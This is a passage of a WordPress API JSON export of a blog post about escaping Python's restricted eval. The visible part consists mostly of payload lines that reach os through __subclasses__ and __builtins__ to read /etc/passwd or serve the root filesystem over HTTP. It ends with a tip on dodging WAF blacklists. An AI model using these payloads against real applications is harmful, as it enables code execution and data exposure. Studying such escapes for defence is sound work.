\/etc\/passwd'))\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('os').popen('\/etc\/passwd', 'r').read())\r\n&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'print'](&#x5B;x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern']&#x5B;0].__init__.__globals__&#x5B;'__builtins__']&#x5B;'__import__']('os').system('cd \/; python -m SimpleHTTPServer'))\r\n<\/pre>\n<p>Of course now that you have Ned&#8217;s script, you can simply find other places where the builtins live, the Pattern is just one example. E.g. if one of theses strings ever gets blacklisted (think web application firewall).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>For those of you just interested in the exploiting part, scroll down to &#8220;Exploiting&#8220;. I&#8217;m reading the following book right now: Programming Python, Fourth Edition, by Mark Lutz (O&#8217;Reilly). Copyright 2011 Mark Lutz, 978-0-596-15810-1 Example 1-22 on page 38\/39 reads &hellip; <a href=\"https:\/\/www.floyd.ch\/?p=584\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[97,98,20,96],"class_list":["post-584","post","type-post","status-publish","format-standard","hentry","category-coding","tag-builtins","tag-eval","tag-python","tag-restricted-mode"],"_links":{"self":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/584","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=584"}],"version-history":[{"count":38,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/584\/revisions"}],"predecessor-version":[{"id":1366,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=\/wp\/v2\/posts\/584\/revisions\/1366"}],"wp:attachment":[{"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=584"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=584"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.floyd.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=584"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}